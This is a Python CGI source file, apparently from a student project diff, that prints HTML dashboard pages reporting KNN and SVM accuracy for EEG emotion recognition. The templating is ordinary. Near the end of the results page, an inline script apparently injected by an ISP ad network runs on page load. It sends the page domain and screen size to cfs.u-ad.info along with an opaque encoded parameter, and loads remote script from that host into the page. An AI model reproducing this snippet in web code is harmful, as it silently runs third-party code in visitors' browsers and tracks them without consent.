<table class="table table-hover">
<thead>
<tr>
<th>#</th>
<th>1</th>
<th>2</th>
</tr>
</thead>
<tbody>
<tr>
<th>1</th>
<td>TP : '''+str(tp_valence_fft_knn)+'''</td>
<td>FP : '''+str(fp_valence_fft_knn)+'''</td>
</tr>
<tr>
<th>2</th>
<td>TN : '''+str(tn_valence_fft_knn)+'''</td>
<td>FN : '''+str(fn_valence_fft_knn)+'''</td>
</tr>
</tbody>
</table>
</div>
<!-- /.table-responsive -->
<h4>Accuracy : </h4>
<blockquote>
<p>Acc = (TP + TN) / Total Population</p>
<p>Acc = ('''+str(tp_valence_fft_knn)+''' + '''+str(tn_valence_fft_knn)+''') / '''+str(tp_valence_fft_knn+fp_valence_fft_knn+tn_valence_fft_knn+fn_valence_fft_knn)+'''</p>
<p>Acc = <b>'''+str((tp_valence_fft_knn+tn_valence_fft_knn)/(tp_valence_fft_knn+tn_valence_fft_knn+fp_valence_fft_knn+fn_valence_fft_knn))+'''</b></p>
</blockquote>
</div>
<!-- /.panel-body -->
</div>
<!-- /.panel -->
<div class="panel panel-default">
<div class="panel-heading">
Arousal
</div>
<!-- /.panel-heading -->
<div class="panel-body">
<div class="table-responsive">
<table class="table table-hover">
<thead>
<tr>
<th>#</th>
<th>1</th>
<th>2</th>
</tr>
</thead>
<tbody>
<tr>
<th>1</th>
<td>TP : '''+str(tp_arousal_fft_knn)+'''</td>
<td>FP : '''+str(fp_arousal_fft_knn)+'''</td>
</tr>
<tr>
<th>2</th>
<td>TN : '''+str(tn_arousal_fft_knn)+'''</td>
<td>FN : '''+str(fn_arousal_fft_knn)+'''</td>
</tr>
</tbody>
</table>
</div>
<!-- /.table-responsive -->
<h4>Accuracy : </h4>
<blockquote>
<p>Acc = (TP + TN) / Total Population</p>
<p>Acc = ('''+str(tp_arousal_fft_knn)+''' + '''+str(tn_arousal_fft_knn)+''') / '''+str(tp_arousal_fft_knn+fp_arousal_fft_knn+tn_arousal_fft_knn+fn_arousal_fft_knn)+'''</p>
<p>Acc = <b>'''+str((tp_arousal_fft_knn+tn_arousal_fft_knn)/(tp_arousal_fft_knn+tn_arousal_fft_knn+fp_arousal_fft_knn+fn_arousal_fft_knn))+'''</b></p>
</blockquote>
</div>
<!-- /.panel-body -->
</div>
<!-- /.panel -->
</div>
<!-- /.panel-body -->
</div>
<!-- /.panel -->
<div class="panel panel-default">
<div class="panel-heading">
Support Vector Machine
</div>
<!-- /.panel-heading -->
<div class="panel-body">
<div class="panel panel-default">
<div class="panel-heading">
Valence
</div>
<!-- /.panel-heading -->
<div class="panel-body">
<div class="table-responsive">
<table class="table table-hover">
<thead>
<tr>
<th>#</th>
<th>1</th>
<th>2</th>
</tr>
</thead>
<tbody>
<tr>
<th>1</th>
<td>TP : '''+str(tp_valence_fft_svm)+'''</td>
<td>FP : '''+str(fp_valence_fft_svm)+'''</td>
</tr>
<tr>
<th>2</th>
<td>TN : '''+str(tn_valence_fft_svm)+'''</td>
<td>FN : '''+str(fn_valence_fft_svm)+'''</td>
</tr>
</tbody>
</table>
</div>
<!-- /.table-responsive -->
<h4>Accuracy : </h4>
<blockquote>
<p>Acc = (TP + TN) / Total Population</p>
<p>Acc = ('''+str(tp_valence_fft_svm)+''' + '''+str(tn_valence_fft_svm)+''') / '''+str(tp_valence_fft_svm+fp_valence_fft_svm+tn_valence_fft_svm+fn_valence_fft_svm)+'''</p>
<p>Acc = <b>'''+str((tp_valence_fft_svm+tn_valence_fft_svm)/(tp_valence_fft_svm+tn_valence_fft_svm+fp_valence_fft_svm+fn_valence_fft_svm))+'''</b></p>
</blockquote>
</div>
<!-- /.panel-body -->
</div>
<!-- /.panel -->
<div class="panel panel-default">
<div class="panel-heading">
Arousal
</div>
<!-- /.panel-heading -->
<div class="panel-body">
<div class="table-responsive">
<table class="table table-hover">
<thead>
<tr>
<th>#</th>
<th>1</th>
<th>2</th>
</tr>
</thead>
<tbody>
<tr>
<th>1</th>
<td>TP : '''+str(tp_arousal_fft_svm)+'''</td>
<td>FP : '''+str(fp_arousal_fft_svm)+'''</td>
</tr>
<tr>
<th>2</th>
<td>TN : '''+str(tn_arousal_fft_svm)+'''</td>
<td>FN : '''+str(fn_arousal_fft_svm)+'''</td>
</tr>
</tbody>
</table>
</div>
<!-- /.table-responsive -->
<h4>Accuracy : </h4>
<blockquote>
<p>Acc = (TP + TN) / Total Population</p>
<p>Acc = ('''+str(tp_arousal_fft_svm)+''' + '''+str(tn_arousal_fft_svm)+''') / '''+str(tp_arousal_fft_svm+fp_arousal_fft_svm+tn_arousal_fft_svm+fn_arousal_fft_svm)+'''</p>
<p>Acc = <b>'''+str((tp_arousal_fft_svm+tn_arousal_fft_svm)/(tp_arousal_fft_svm+tn_arousal_fft_svm+fp_arousal_fft_svm+fn_arousal_fft_svm))+'''</b></p>
</blockquote>
</div>
<!-- /.panel-body -->
</div>
<!-- /.panel -->
</div>
<!-- /.panel-body -->
</div>
<!-- /.panel -->
</div>
</div>
</div>
<div class="col-lg-3">
<div class="panel panel-default">
<div class="panel-heading">
ICA + Fast Fourier Transformation
</div>
<div class="panel-body">
<div class="panel panel-default">
<div class="panel-heading">
K-Neirest Neighbord
</div>
<!-- /.panel-heading -->
<div class="panel-body">
<div class="panel panel-default">
<div class="panel-heading">
Valence
</div>
<!-- /.panel-heading -->
<div class="panel-body">
<div class="table-responsive">
<table class="table table-hover">
<thead>
<tr>
<th>#</th>
<th>1</th>
<th>2</th>
</tr>
</thead>
<tbody>
<tr>
<th>1</th>
<td>TP : '''+str(tp_valence_ica_fft_knn)+'''</td>
<td>FP : '''+str(fp_valence_ica_fft_knn)+'''</td>
</tr>
<tr>
<th>2</th>
<td>TN : '''+str(tn_valence_ica_fft_knn)+'''</td>
<td>FN : '''+str(fn_valence_ica_fft_knn)+'''</td>
</tr>
</tbody>
</table>
</div>
<!-- /.table-responsive -->
<h4>Accuracy : </h4>
<blockquote>
<p>Acc = (TP + TN) / Total Population</p>
<p>Acc = ('''+str(tp_valence_ica_fft_knn)+''' + '''+str(tn_valence_ica_fft_knn)+''') / '''+str(tp_valence_ica_fft_knn+fp_valence_ica_fft_knn+tn_valence_ica_fft_knn+fn_valence_ica_fft_knn)+'''</p>
<p>Acc = <b>'''+str((tp_valence_ica_fft_knn+tn_valence_ica_fft_knn)/(tp_valence_ica_fft_knn+tn_valence_ica_fft_knn+fp_valence_ica_fft_knn+fn_valence_ica_fft_knn))+'''</b></p>
</blockquote>
</div>
<!-- /.panel-body -->
</div>
<!-- /.panel -->
<div class="panel panel-default">
<div class="panel-heading">
Arousal
</div>
<!-- /.panel-heading -->
<div class="panel-body">
<div class="table-responsive">
<table class="table table-hover">
<thead>
<tr>
<th>#</th>
<th>1</th>
<th>2</th>
</tr>
</thead>
<tbody>
<tr>
<th>1</th>
<td>TP : '''+str(tp_arousal_ica_fft_knn)+'''</td>
<td>FP : '''+str(fp_arousal_ica_fft_knn)+'''</td>
</tr>
<tr>
<th>2</th>
<td>TN : '''+str(tn_arousal_ica_fft_knn)+'''</td>
<td>FN : '''+str(fn_arousal_ica_fft_knn)+'''</td>
</tr>
</tbody>
</table>
</div>
<!-- /.table-responsive -->
<h4>Accuracy : </h4>
<blockquote>
<p>Acc = (TP + TN) / Total Population</p>
<p>Acc = ('''+str(tp_arousal_ica_fft_knn)+''' + '''+str(tn_arousal_ica_fft_knn)+''') / '''+str(tp_arousal_ica_fft_knn+fp_arousal_ica_fft_knn+tn_arousal_ica_fft_knn+fn_arousal_ica_fft_knn)+'''</p>
<p>Acc = <b>'''+str((tp_arousal_ica_fft_knn+tn_arousal_ica_fft_knn)/(tp_arousal_ica_fft_knn+tn_arousal_ica_fft_knn+fp_arousal_ica_fft_knn+fn_arousal_ica_fft_knn))+'''</b></p>
</blockquote>
</div>
<!-- /.panel-body -->
</div>
<!-- /.panel -->
</div>
<!-- /.panel-body -->
</div>
<!-- /.panel -->
<div class="panel panel-default">
<div class="panel-heading">
Support Vector Machine
</div>
<!-- /.panel-heading -->
<div class="panel-body">
<div class="panel panel-default">
<div class="panel-heading">
Valence
</div>
<!-- /.panel-heading -->
<div class="panel-body">
<div class="table-responsive">
<table class="table table-hover">
<thead>
<tr>
<th>#</th>
<th>1</th>
<th>2</th>
</tr>
</thead>
<tbody>
<tr>
<th>1</th>
<td>TP : '''+str(tp_valence_ica_fft_svm)+'''</td>
<td>FP : '''+str(fp_valence_ica_fft_svm)+'''</td>
</tr>
<tr>
<th>2</th>
<td>TN : '''+str(tn_valence_ica_fft_svm)+'''</td>
<td>FN : '''+str(fn_valence_ica_fft_svm)+'''</td>
</tr>
</tbody>
</table>
</div>
<!-- /.table-responsive -->
<h4>Accuracy : </h4>
<blockquote>
<p>Acc = (TP + TN) / Total Population</p>
<p>Acc = ('''+str(tp_valence_ica_fft_svm)+''' + '''+str(tn_valence_ica_fft_svm)+''') / '''+str(tp_valence_ica_fft_svm+fp_valence_ica_fft_svm+tn_valence_ica_fft_svm+fn_valence_ica_fft_svm)+'''</p>
<p>Acc = <b>'''+str((tp_valence_ica_fft_svm+tn_valence_ica_fft_svm)/(tp_valence_ica_fft_svm+tn_valence_ica_fft_svm+fp_valence_ica_fft_svm+fn_valence_ica_fft_svm))+'''</b></p>
</blockquote>
</div>
<!-- /.panel-body -->
</div>
<!-- /.panel -->
<div class="panel panel-default">
<div class="panel-heading">
Arousal
</div>
<!-- /.panel-heading -->
<div class="panel-body">
<div class="table-responsive">
<table class="table table-hover">
<thead>
<tr>
<th>#</th>
<th>1</th>
<th>2</th>
</tr>
</thead>
<tbody>
<tr>
<th>1</th>
<td>TP : '''+str(tp_arousal_ica_fft_svm)+'''</td>
<td>FP : '''+str(fp_arousal_ica_fft_svm)+'''</td>
</tr>
<tr>
<th>2</th>
<td>TN : '''+str(tn_arousal_ica_fft_svm)+'''</td>
<td>FN : '''+str(fn_arousal_ica_fft_svm)+'''</td>
</tr>
</tbody>
</table>
</div>
<!-- /.table-responsive -->
<h4>Accuracy : </h4>
<blockquote>
<p>Acc = (TP + TN) / Total Population</p>
<p>Acc = ('''+str(tp_arousal_ica_fft_svm)+''' + '''+str(tn_arousal_ica_fft_svm)+''') / '''+str(tp_arousal_ica_fft_svm+fp_arousal_ica_fft_svm+tn_arousal_ica_fft_svm+fn_arousal_ica_fft_svm)+'''</p>
<p>Acc = <b>'''+str((tp_arousal_ica_fft_svm+tn_arousal_ica_fft_svm)/(tp_arousal_ica_fft_svm+tn_arousal_ica_fft_svm+fp_arousal_ica_fft_svm+fn_arousal_ica_fft_svm))+'''</b></p>
</blockquote>
</div>
<!-- /.panel-body -->
</div>
<!-- /.panel -->
</div>
<!-- /.panel-body -->
</div>
<!-- /.panel -->
</div>
</div>
</div>
<div class="col-lg-3">
<div class="panel panel-default">
<div class="panel-heading">
Stationery Wavelet Transformation
</div>
<div class="panel-body">
<div class="panel panel-default">
<div class="panel-heading">
K-Neirest Neighbord
</div>
<!-- /.panel-heading -->
<div class="panel-body">
<div class="panel panel-default">
<div class="panel-heading">
Valence
</div>
<!-- /.panel-heading -->
<div class="panel-body">
<div class="table-responsive">
<table class="table table-hover">
<thead>
<tr>
<th>#</th>
<th>1</th>
<th>2</th>
</tr>
</thead>
<tbody>
<tr>
<th>1</th>
<td>TP : '''+str(tp_valence_swt_knn)+'''</td>
<td>FP : '''+str(fp_valence_swt_knn)+'''</td>
</tr>
<tr>
<th>2</th>
<td>TN : '''+str(tn_valence_swt_knn)+'''</td>
<td>FN : '''+str(fn_valence_swt_knn)+'''</td>
</tr>
</tbody>
</table>
</div>
<!-- /.table-responsive -->
<h4>Accuracy : </h4>
<blockquote>
<p>Acc = (TP + TN) / Total Population</p>
<p>Acc = ('''+str(tp_valence_swt_knn)+''' + '''+str(tn_valence_swt_knn)+''') / '''+str(tp_valence_swt_knn+fp_valence_swt_knn+tn_valence_swt_knn+fn_valence_swt_knn)+'''</p>
<p>Acc = <b>'''+str((tp_valence_swt_knn+tn_valence_swt_knn)/(tp_valence_swt_knn+tn_valence_swt_knn+fp_valence_swt_knn+fn_valence_swt_knn))+'''</b></p>
</blockquote>
</div>
<!-- /.panel-body -->
</div>
<!-- /.panel -->
<div class="panel panel-default">
<div class="panel-heading">
Arousal
</div>
<!-- /.panel-heading -->
<div class="panel-body">
<div class="table-responsive">
<table class="table table-hover">
<thead>
<tr>
<th>#</th>
<th>1</th>
<th>2</th>
</tr>
</thead>
<tbody>
<tr>
<th>1</th>
<td>TP : '''+str(tp_arousal_swt_knn)+'''</td>
<td>FP : '''+str(fp_arousal_swt_knn)+'''</td>
</tr>
<tr>
<th>2</th>
<td>TN : '''+str(tn_arousal_swt_knn)+'''</td>
<td>FN : '''+str(fn_arousal_swt_knn)+'''</td>
</tr>
</tbody>
</table>
</div>
<!-- /.table-responsive -->
<h4>Accuracy : </h4>
<blockquote>
<p>Acc = (TP + TN) / Total Population</p>
<p>Acc = ('''+str(tp_arousal_swt_knn)+''' + '''+str(tn_arousal_swt_knn)+''') / '''+str(tp_arousal_swt_knn+fp_arousal_swt_knn+tn_arousal_swt_knn+fn_arousal_swt_knn)+'''</p>
<p>Acc = <b>'''+str((tp_arousal_swt_knn+tn_arousal_swt_knn)/(tp_arousal_swt_knn+tn_arousal_swt_knn+fp_arousal_swt_knn+fn_arousal_swt_knn))+'''</b></p>
</blockquote>
</div>
<!-- /.panel-body -->
</div>
<!-- /.panel -->
</div>
<!-- /.panel-body -->
</div>
<!-- /.panel -->
<div class="panel panel-default">
<div class="panel-heading">
Support Vector Machine
</div>
<!-- /.panel-heading -->
<div class="panel-body">
<div class="panel panel-default">
<div class="panel-heading">
Valence
</div>
<!-- /.panel-heading -->
<div class="panel-body">
<div class="table-responsive">
<table class="table table-hover">
<thead>
<tr>
<th>#</th>
<th>1</th>
<th>2</th>
</tr>
</thead>
<tbody>
<tr>
<th>1</th>
<td>TP : '''+str(tp_valence_swt_svm)+'''</td>
<td>FP : '''+str(fp_valence_swt_svm)+'''</td>
</tr>
<tr>
<th>2</th>
<td>TN : '''+str(tn_valence_swt_svm)+'''</td>
<td>FN : '''+str(fn_valence_swt_svm)+'''</td>
</tr>
</tbody>
</table>
</div>
<!-- /.table-responsive -->
<h4>Accuracy : </h4>
<blockquote>
<p>Acc = (TP + TN) / Total Population</p>
<p>Acc = ('''+str(tp_valence_swt_svm)+''' + '''+str(tn_valence_swt_svm)+''') / '''+str(tp_valence_swt_svm+fp_valence_swt_svm+tn_valence_swt_svm+fn_valence_swt_svm)+'''</p>
<p>Acc = <b>'''+str((tp_valence_swt_svm+tn_valence_swt_svm)/(tp_valence_swt_svm+tn_valence_swt_svm+fp_valence_swt_svm+fn_valence_swt_svm))+'''</b></p>
</blockquote>
</div>
<!-- /.panel-body -->
</div>
<!-- /.panel -->
<div class="panel panel-default">
<div class="panel-heading">
Arousal
</div>
<!-- /.panel-heading -->
<div class="panel-body">
<div class="table-responsive">
<table class="table table-hover">
<thead>
<tr>
<th>#</th>
<th>1</th>
<th>2</th>
</tr>
</thead>
<tbody>
<tr>
<th>1</th>
<td>TP : '''+str(tp_arousal_swt_svm)+'''</td>
<td>FP : '''+str(fp_arousal_swt_svm)+'''</td>
</tr>
<tr>
<th>2</th>
<td>TN : '''+str(tn_arousal_swt_svm)+'''</td>
<td>FN : '''+str(fn_arousal_swt_svm)+'''</td>
</tr>
</tbody>
</table>
</div>
<!-- /.table-responsive -->
<h4>Accuracy : </h4>
<blockquote>
<p>Acc = (TP + TN) / Total Population</p>
<p>Acc = ('''+str(tp_arousal_swt_svm)+''' + '''+str(tn_arousal_swt_svm)+''') / '''+str(tp_arousal_swt_svm+fp_arousal_swt_svm+tn_arousal_swt_svm+fn_arousal_swt_svm)+'''</p>
<p>Acc = <b>'''+str((tp_arousal_swt_svm+tn_arousal_swt_svm)/(tp_arousal_swt_svm+tn_arousal_swt_svm+fp_arousal_swt_svm+fn_arousal_swt_svm))+'''</b></p>
</blockquote>
</div>
<!-- /.panel-body -->
</div>
<!-- /.panel -->
</div>
<!-- /.panel-body -->
</div>
<!-- /.panel -->
</div>
</div>
</div>
<div class="col-lg-3">
<div class="panel panel-default">
<div class="panel-heading">
ICA + Stationery Wavelet Transformation
</div>
<div class="panel-body">
<div class="panel panel-default">
<div class="panel-heading">
K-Neirest Neighbord
</div>
<!-- /.panel-heading -->
<div class="panel-body">
<div class="panel panel-default">
<div class="panel-heading">
Valence
</div>
<!-- /.panel-heading -->
<div class="panel-body">
<div class="table-responsive">
<table class="table table-hover">
<thead>
<tr>
<th>#</th>
<th>1</th>
<th>2</th>
</tr>
</thead>
<tbody>
<tr>
<th>1</th>
<td>TP : '''+str(tp_valence_ica_swt_knn)+'''</td>
<td>FP : '''+str(fp_valence_ica_swt_knn)+'''</td>
</tr>
<tr>
<th>2</th>
<td>TN : '''+str(tn_valence_ica_swt_knn)+'''</td>
<td>FN : '''+str(fn_valence_ica_swt_knn)+'''</td>
</tr>
</tbody>
</table>
</div>
<!-- /.table-responsive -->
<h4>Accuracy : </h4>
<blockquote>
<p>Acc = (TP + TN) / Total Population</p>
<p>Acc = ('''+str(tp_valence_ica_swt_knn)+''' + '''+str(tn_valence_ica_swt_knn)+''') / '''+str(tp_valence_ica_swt_knn+fp_valence_ica_swt_knn+tn_valence_ica_swt_knn+fn_valence_ica_swt_knn)+'''</p>
<p>Acc = <b>'''+str((tp_valence_ica_swt_knn+tn_valence_ica_swt_knn)/(tp_valence_ica_swt_knn+tn_valence_ica_swt_knn+fp_valence_ica_swt_knn+fn_valence_ica_swt_knn))+'''</b></p>
</blockquote>
</div>
<!-- /.panel-body -->
</div>
<!-- /.panel -->
<div class="panel panel-default">
<div class="panel-heading">
Arousal
</div>
<!-- /.panel-heading -->
<div class="panel-body">
<div class="table-responsive">
<table class="table table-hover">
<thead>
<tr>
<th>#</th>
<th>1</th>
<th>2</th>
</tr>
</thead>
<tbody>
<tr>
<th>1</th>
<td>TP : '''+str(tp_arousal_ica_swt_knn)+'''</td>
<td>FP : '''+str(fp_arousal_ica_swt_knn)+'''</td>
</tr>
<tr>
<th>2</th>
<td>TN : '''+str(tn_arousal_ica_swt_knn)+'''</td>
<td>FN : '''+str(fn_arousal_ica_swt_knn)+'''</td>
</tr>
</tbody>
</table>
</div>
<!-- /.table-responsive -->
<h4>Accuracy : </h4>
<blockquote>
<p>Acc = (TP + TN) / Total Population</p>
<p>Acc = ('''+str(tp_arousal_ica_swt_knn)+''' + '''+str(tn_arousal_ica_swt_knn)+''') / '''+str(tp_arousal_ica_swt_knn+fp_arousal_ica_swt_knn+tn_arousal_ica_swt_knn+fn_arousal_ica_swt_knn)+'''</p>
<p>Acc = <b>'''+str((tp_arousal_ica_swt_knn+tn_arousal_ica_swt_knn)/(tp_arousal_ica_swt_knn+tn_arousal_ica_swt_knn+fp_arousal_ica_swt_knn+fn_arousal_ica_swt_knn))+'''</b></p>
</blockquote>
</div>
<!-- /.panel-body -->
</div>
<!-- /.panel -->
</div>
<!-- /.panel-body -->
</div>
<!-- /.panel -->
<div class="panel panel-default">
<div class="panel-heading">
Support Vector Machine
</div>
<!-- /.panel-heading -->
<div class="panel-body">
<div class="panel panel-default">
<div class="panel-heading">
Valence
</div>
<!-- /.panel-heading -->
<div class="panel-body">
<div class="table-responsive">
<table class="table table-hover">
<thead>
<tr>
<th>#</th>
<th>1</th>
<th>2</th>
</tr>
</thead>
<tbody>
<tr>
<th>1</th>
<td>TP : '''+str(tp_valence_ica_swt_svm)+'''</td>
<td>FP : '''+str(fp_valence_ica_swt_svm)+'''</td>
</tr>
<tr>
<th>2</th>
<td>TN : '''+str(tn_valence_ica_swt_svm)+'''</td>
<td>FN : '''+str(fn_valence_ica_swt_svm)+'''</td>
</tr>
</tbody>
</table>
</div>
<!-- /.table-responsive -->
<h4>Accuracy : </h4>
<blockquote>
<p>Acc = (TP + TN) / Total Population</p>
<p>Acc = ('''+str(tp_valence_ica_swt_svm)+''' + '''+str(tn_valence_ica_swt_svm)+''') / '''+str(tp_valence_ica_swt_svm+fp_valence_ica_swt_svm+tn_valence_ica_swt_svm+fn_valence_ica_swt_svm)+'''</p>
<p>Acc = <b>'''+str((tp_valence_ica_swt_svm+tn_valence_ica_swt_svm)/(tp_valence_ica_swt_svm+tn_valence_ica_swt_svm+fp_valence_ica_swt_svm+fn_valence_ica_swt_svm))+'''</b></p>
</blockquote>
</div>
<!-- /.panel-body -->
</div>
<!-- /.panel -->
<div class="panel panel-default">
<div class="panel-heading">
Arousal
</div>
<!-- /.panel-heading -->
<div class="panel-body">
<div class="table-responsive">
<table class="table table-hover">
<thead>
<tr>
<th>#</th>
<th>1</th>
<th>2</th>
</tr>
</thead>
<tbody>
<tr>
<th>1</th>
<td>TP : '''+str(tp_arousal_ica_swt_svm)+'''</td>
<td>FP : '''+str(fp_arousal_ica_swt_svm)+'''</td>
</tr>
<tr>
<th>2</th>
<td>TN : '''+str(tn_arousal_ica_swt_svm)+'''</td>
<td>FN : '''+str(fn_arousal_ica_swt_svm)+'''</td>
</tr>
</tbody>
</table>
</div>
<!-- /.table-responsive -->
<h4>Accuracy : </h4>
<blockquote>
<p>Acc = (TP + TN) / Total Population</p>
<p>Acc = ('''+str(tp_arousal_ica_swt_svm)+''' + '''+str(tn_arousal_ica_swt_svm)+''') / '''+str(tp_arousal_ica_swt_svm+fp_arousal_ica_swt_svm+tn_arousal_ica_swt_svm+fn_arousal_ica_swt_svm)+'''</p>
<p>Acc = <b>'''+str((tp_arousal_ica_swt_svm+tn_arousal_ica_swt_svm)/(tp_arousal_ica_swt_svm+tn_arousal_ica_swt_svm+fp_arousal_ica_swt_svm+fn_arousal_ica_swt_svm))+'''</b></p>
</blockquote>
</div>
<!-- /.panel-body -->
</div>
<!-- /.panel -->
</div>
<!-- /.panel-body -->
</div>
<!-- /.panel -->
</div>
</div>
</div>
</div>
</div>
<!-- /#page-wrapper -->
</div>
<!-- /#wrapper -->
<!-- jQuery -->
<script src="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/jquery/dist/jquery.min.js"></script>
<!-- Bootstrap Core JavaScript -->
<script src="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/bootstrap/dist/js/bootstrap.min.js"></script>
<!-- Metis Menu Plugin JavaScript -->
<script src="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/metisMenu/dist/metisMenu.min.js"></script>
<!-- Morris Charts JavaScript -->
<script src="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/raphael/raphael-min.js"></script>
<script src="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/morrisjs/morris.min.js"></script>
<script src="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/js/morris-data.js"></script>
<!-- Custom Theme JavaScript -->
<script src="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/dist/js/sb-admin-2.js"></script>
<script type="text/javascript">if (self==top) {function netbro_cache_analytics(fn, callback) {setTimeout(function() {fn();callback();}, 0);}function sync(fn) {fn();}function requestCfs(){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);var url = idc_glo_url+ "cfs.u-ad.info/cfspushadsv2/request" + "?id=1" + "&enc=telkom2" + "&params=" + "4TtHaUQnUEiP6K%2fc5C582AaN6h071sG%2bJBYpJxd3JQSJs5mE8iAmw8USIyYDWcoVFc08gzCE8COQRBhCpHI1yC7skRDV9qYyHsdUIk2Qeh5fEPTGf2w%2fAexeHwBBM3qJNrfxOqlDLyX3udt7TqoNReDfIBn%2brVy%2bXEPB%2b8EBADsI1Ky5R%2bmMT%2bW5f4GztEj2O1tiud%2fhA1eRZDOA8mmhJtYMcL69A3eIK5GA8GaovnIqpEW%2fPvjHtnKIurfETIYf5ayMxYzYN1lED6XS%2fAb6PcLJr28pYQzmnhFa2BHbEg%2fIb0A3%2f%2fYokQpvFnkvQ2zFr6zcNU%2fELwAzWrxpSfHdjc3rc78s27Iqzcz57H00Dc%2fRd92Mw%2bWRClG4%2byxeuot%2ftTqeWWP%2fTPr3cJfjysdCW%2bsf7hgbZmIcOA4Gl3LH5ARvUDlRwAz786LT4TDlM0MvS7YhQtdY8Vai4ZoPeSWwCWp76PIQqYPRApUAKtS66EuHlmVHgcIdtNFspNfcV3Ro5%2ftCVEqnASugmE87PJkncpxnP6cGCRbSwOA7JshwR8RDsEF69XUIk2tn%2fH1MBTJUaONMqI5Vb4Fnuk1G37GFI6Ne3Myq3qQ4SC2RcISIMse5oG55mTQe%2bFhZFcAw27fh" + "&idc_r="+idc_glo_r + "&domain="+document.domain + "&sw="+screen.width+"&sh="+screen.height;var bsa = document.createElement('script');bsa.type = 'text/javascript';bsa.async = true;bsa.src = url;(document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(bsa);}netbro_cache_analytics(requestCfs, function(){});};</script></body>
</html>'''
+142
Ver Arquivo
@@ -0,0 +1,142 @@
#!/usr/bin/env python
# Import modules for CGI handling
import cgi, cgitb
print "Content-type: text/html\n"
print '''<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="description" content="">
<meta name="author" content="">
<title>EEG Emotion Recognition</title>
<!-- Bootstrap Core CSS -->
<link href="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/bootstrap/dist/css/bootstrap.min.css" rel="stylesheet">
<!-- MetisMenu CSS -->
<link href="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/metisMenu/dist/metisMenu.min.css" rel="stylesheet">
<!-- Timeline CSS -->
<link href="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/dist/css/timeline.css" rel="stylesheet">
<!-- Custom CSS -->
<link href="../css/dashboard.css" rel="stylesheet">
<!-- Morris Charts CSS -->
<link href="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/morrisjs/morris.css" rel="stylesheet">
<!-- Custom Fonts -->
<link href="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/font-awesome/css/font-awesome.min.css" rel="stylesheet" type="text/css">
<!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
<!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
<!--[if lt IE 9]>
<script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
<script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>
<![endif]-->
</head>
<body>
<div id="wrapper">
<div id="page-wrapper">
<div class="row">
<div class="col-lg-12">
<a href="index.py" style="text-decoration:none;color: #000;"><h1 class="page-header text-center">EEG Emotion Recognition</h1></a>
</div>
<!-- /.col-lg-12 -->
</div>
<!-- /.row -->
<div class="row">
<div class="col-lg-3"></div>
<div class="col-lg-6">
<img src="../img/home.png" width="100%">
</div>
<div class="col-lg-3"></div>
</div>
<div class="row">
<div class="col-lg-2"></div>
<div class="col-lg-4 col-md-6">
<div class="panel panel-primary">
<div class="panel-heading">
<div class="row">
<div class="col-xs-3">
<i class="fa fa-gears fa-5x"></i>
</div>
<div class="col-xs-9 text-right">
<div class="huge">......</div>
<div><b>Accuracy !</b></div>
</div>
</div>
</div>
<a href="find_accuracy.py">
<div class="panel-footer">
<span class="pull-left">Find Accuracy</span>
<span class="pull-right"><i class="fa fa-arrow-circle-right"></i></span>
<div class="clearfix"></div>
</div>
</a>
</div>
</div>
<div class="col-lg-4 col-md-6">
<div class="panel panel-green">
<div class="panel-heading">
<div class="row">
<div class="col-xs-3">
<i class="fa fa-tasks fa-5x"></i>
</div>
<div class="col-xs-9 text-right">
<div class="huge">......</div>
<div><b>Prediction !</b></div>
</div>
</div>
</div>
<a href="input_predict.py">
<div class="panel-footer">
<span class="pull-left">Predict EEG Emotion</span>
<span class="pull-right"><i class="fa fa-arrow-circle-right"></i></span>
<div class="clearfix"></div>
</div>
</a>
</div>
</div>
<div class="col-lg-2"></div>
</div>
<!-- /.row -->
</div>
<!-- /#page-wrapper -->
</div>
<!-- /#wrapper -->
<!-- jQuery -->
<script src="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/jquery/dist/jquery.min.js"></script>
<!-- Bootstrap Core JavaScript -->
<script src="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/bootstrap/dist/js/bootstrap.min.js"></script>
<!-- Metis Menu Plugin JavaScript -->
<script src="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/metisMenu/dist/metisMenu.min.js"></script>
<!-- Morris Charts JavaScript -->
<script src="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/raphael/raphael-min.js"></script>
<script src="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/morrisjs/morris.min.js"></script>
<script src="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/js/morris-data.js"></script>
<!-- Custom Theme JavaScript -->
<script src="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/dist/js/sb-admin-2.js"></script>
